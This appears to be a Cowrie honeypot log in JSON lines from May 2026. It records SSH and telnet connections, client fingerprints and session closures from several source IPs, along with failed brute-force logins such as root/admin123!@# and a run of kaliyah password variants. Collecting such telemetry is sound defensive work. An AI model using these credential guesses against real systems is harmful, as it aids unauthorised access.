{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:38.010292Z","src_ip":"163.7.6.74","session":"d5901d7bf4da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:38.258918Z","src_ip":"163.7.6.74","session":"d5901d7bf4da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42026,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4232c5a7543","protocol":"telnet","message":"New connection: 69.6.249.0:42026 (159.203.135.109:23) [session: a4232c5a7543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:38.921510Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin1234","message":"login attempt [ftpuser/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:39.286345Z","src_ip":"163.7.6.74","session":"d5901d7bf4da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.42084574699402,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:40.284930Z","src_ip":"212.55.149.117","session":"c30216ac90dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:40.538201Z","src_ip":"163.7.6.74","session":"d5901d7bf4da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42028,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f2beabfe0a3","protocol":"telnet","message":"New connection: 69.6.249.0:42028 (159.203.135.109:23) [session: 9f2beabfe0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:42.766669Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":10945,"dst_ip":"10.17.0.5","dst_port":22,"session":"abbcb2043e10","protocol":"ssh","message":"New connection: 213.209.159.56:10945 (10.17.0.5:22) [session: abbcb2043e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:43.749654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:43.755096Z","src_ip":"213.209.159.56","session":"abbcb2043e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:43.839221Z","src_ip":"213.209.159.56","session":"abbcb2043e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah","message":"login attempt [kaliyah/kaliyah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:44.246617Z","src_ip":"213.209.159.56","session":"abbcb2043e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah1","message":"login attempt [kaliyah/kaliyah1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:45.333192Z","src_ip":"213.209.159.56","session":"abbcb2043e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16118359565735,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:45.833667Z","src_ip":"69.6.249.0","session":"305b13d9c806","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah123","message":"login attempt [kaliyah/kaliyah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:46.420206Z","src_ip":"213.209.159.56","session":"abbcb2043e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.493995189666748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:46.817600Z","src_ip":"69.6.249.0","session":"f0d90e586c21","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah1234","message":"login attempt [kaliyah/kaliyah1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:47.506776Z","src_ip":"213.209.159.56","session":"abbcb2043e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaliyah","password":"kaliyah12345","message":"login attempt [kaliyah/kaliyah12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:48.595958Z","src_ip":"213.209.159.56","session":"abbcb2043e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.3889799118042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:48.867987Z","src_ip":"69.6.249.0","session":"6c8da9522df7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38016939163208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:48.874468Z","src_ip":"69.6.249.0","session":"0ca8e7880bd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46414,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fe661d9d497","protocol":"telnet","message":"New connection: 69.6.249.0:46414 (159.203.135.109:23) [session: 7fe661d9d497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:49.402935Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46420,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ca016cb95bf","protocol":"telnet","message":"New connection: 69.6.249.0:46420 (159.203.135.109:23) [session: 7ca016cb95bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:49.480000Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:49.682336Z","src_ip":"213.209.159.56","session":"abbcb2043e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26305389404297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:50.996561Z","src_ip":"69.6.249.0","session":"c5e467eb6601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46432,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc59c3f04735","protocol":"telnet","message":"New connection: 69.6.249.0:46432 (159.203.135.109:23) [session: fc59c3f04735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:51.896528Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46440,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f58feabcb01","protocol":"telnet","message":"New connection: 69.6.249.0:46440 (159.203.135.109:23) [session: 7f58feabcb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:53.747667Z"}
{"eventid":"cowrie.session.closed","duration":31.876059532165527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:55.124856Z","src_ip":"69.6.249.0","session":"8df6c16c00ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38484,"dst_ip":"159.203.135.109","dst_port":23,"session":"f44e8ced47dd","protocol":"telnet","message":"New connection: 69.6.249.0:38484 (159.203.135.109:23) [session: f44e8ced47dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:57.019525Z"}
{"eventid":"cowrie.session.closed","duration":31.72817873954773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:59.857778Z","src_ip":"69.6.249.0","session":"f920d22f8528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.118109703063965,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:00.403636Z","src_ip":"69.6.249.0","session":"ea3f3e4de46b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38486,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb22f7dbb1d","protocol":"telnet","message":"New connection: 69.6.249.0:38486 (159.203.135.109:23) [session: 6bb22f7dbb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:01.666033Z"}
{"eventid":"cowrie.session.closed","duration":30.253976821899414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:02.846848Z","src_ip":"69.6.249.0","session":"646d319361e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06400966644287,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:04.623491Z","src_ip":"69.6.249.0","session":"84207bc79bb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":53106,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ce6e329c0a","protocol":"telnet","message":"New connection: 69.6.249.0:53106 (159.203.135.109:23) [session: 27ce6e329c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:07.511757Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49950,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef560a5a7acd","protocol":"ssh","message":"New connection: 103.15.226.202:49950 (10.17.0.5:22) [session: ef560a5a7acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:07.589018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:07.594749Z","src_ip":"103.15.226.202","session":"ef560a5a7acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:07.847531Z","src_ip":"103.15.226.202","session":"ef560a5a7acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@#","message":"login attempt [root/admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:08.565327Z","src_ip":"103.15.226.202","session":"ef560a5a7acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.39865779876709,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:08.691018Z","src_ip":"69.6.249.0","session":"8c6437cb71a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:09.818809Z","src_ip":"103.15.226.202","session":"ef560a5a7acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":53122,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d13589517da","protocol":"telnet","message":"New connection: 69.6.249.0:53122 (159.203.135.109:23) [session: 9d13589517da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:10.047661Z"}
{"eventid":"cowrie.session.closed","duration":32.321000814437866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:11.242398Z","src_ip":"69.6.249.0","session":"a4232c5a7543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":53132,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa712e5a4d4","protocol":"telnet","message":"New connection: 69.6.249.0:53132 (159.203.135.109:23) [session: 1aa712e5a4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:11.272696Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":53142,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6cbb4d8335","protocol":"telnet","message":"New connection: 69.6.249.0:53142 (159.203.135.109:23) [session: ea6cbb4d8335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:11.314735Z"}
{"eventid":"cowrie.session.closed","duration":31.132763147354126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:13.899297Z","src_ip":"69.6.249.0","session":"9f2beabfe0a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41836,"dst_ip":"159.203.135.109","dst_port":23,"session":"79cf55aaa7bf","protocol":"telnet","message":"New connection: 69.6.249.0:41836 (159.203.135.109:23) [session: 79cf55aaa7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:19.411525Z"}
{"eventid":"cowrie.session.closed","duration":30.501684188842773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:19.981575Z","src_ip":"69.6.249.0","session":"7ca016cb95bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41846,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf68e5500946","protocol":"telnet","message":"New connection: 69.6.249.0:41846 (159.203.135.109:23) [session: cf68e5500946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:20.422764Z"}
{"eventid":"cowrie.session.closed","duration":31.1614511013031,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:20.564282Z","src_ip":"69.6.249.0","session":"7fe661d9d497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41852,"dst_ip":"159.203.135.109","dst_port":23,"session":"b471bbdde35c","protocol":"telnet","message":"New connection: 69.6.249.0:41852 (159.203.135.109:23) [session: b471bbdde35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:22.595517Z"}
{"eventid":"cowrie.session.closed","duration":31.16420841217041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:23.060670Z","src_ip":"69.6.249.0","session":"fc59c3f04735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41864,"dst_ip":"159.203.135.109","dst_port":23,"session":"86c3f0a6c90e","protocol":"telnet","message":"New connection: 69.6.249.0:41864 (159.203.135.109:23) [session: 86c3f0a6c90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:24.113683Z"}
{"eventid":"cowrie.session.closed","duration":31.170027256011963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:24.917574Z","src_ip":"69.6.249.0","session":"7f58feabcb01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44266,"dst_ip":"159.203.135.109","dst_port":23,"session":"f104ca48c6f0","protocol":"telnet","message":"New connection: 69.6.249.0:44266 (159.203.135.109:23) [session: f104ca48c6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:26.475383Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44282,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a1f9a87a0b6","protocol":"telnet","message":"New connection: 69.6.249.0:44282 (159.203.135.109:23) [session: 3a1f9a87a0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:27.834581Z"}
{"eventid":"cowrie.session.closed","duration":31.259005546569824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:28.278435Z","src_ip":"69.6.249.0","session":"f44e8ced47dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44286,"dst_ip":"159.203.135.109","dst_port":23,"session":"afba4efbd79e","protocol":"telnet","message":"New connection: 69.6.249.0:44286 (159.203.135.109:23) [session: afba4efbd79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:30.612545Z"}
{"eventid":"cowrie.session.closed","duration":33.90954613685608,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:35.575229Z","src_ip":"69.6.249.0","session":"6bb22f7dbb1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":22646,"dst_ip":"10.17.0.5","dst_port":23,"session":"e313d25c9479","protocol":"telnet","message":"New connection: 212.55.149.117:22646 (10.17.0.5:23) [session: e313d25c9479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:37.375256Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":55912,"dst_ip":"159.203.135.109","dst_port":23,"session":"c30d0837bcaf","protocol":"telnet","message":"New connection: 69.6.249.0:55912 (159.203.135.109:23) [session: c30d0837bcaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:39.350361Z"}
{"eventid":"cowrie.session.closed","duration":31.956873416900635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:39.468514Z","src_ip":"69.6.249.0","session":"27ce6e329c0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":55922,"dst_ip":"159.203.135.109","dst_port":23,"session":"4daa340dde4a","protocol":"telnet","message":"New connection: 69.6.249.0:55922 (159.203.135.109:23) [session: 4daa340dde4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:40.182196Z"}
{"eventid":"cowrie.session.closed","duration":31.015990495681763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:41.063529Z","src_ip":"69.6.249.0","session":"9d13589517da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73680877685547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:43.051429Z","src_ip":"69.6.249.0","session":"ea6cbb4d8335","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40787482261658,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:43.680477Z","src_ip":"69.6.249.0","session":"1aa712e5a4d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35364,"dst_ip":"159.203.135.109","dst_port":23,"session":"019f3a9c3c6b","protocol":"telnet","message":"New connection: 69.6.249.0:35364 (159.203.135.109:23) [session: 019f3a9c3c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:44.944927Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":35714,"dst_ip":"159.203.135.109","dst_port":22,"session":"624a134c7ae0","protocol":"ssh","message":"New connection: 163.7.6.74:35714 (159.203.135.109:22) [session: 624a134c7ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:45.418130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:39:45.426601Z","src_ip":"163.7.6.74","session":"624a134c7ae0","protocol":"ssh"}
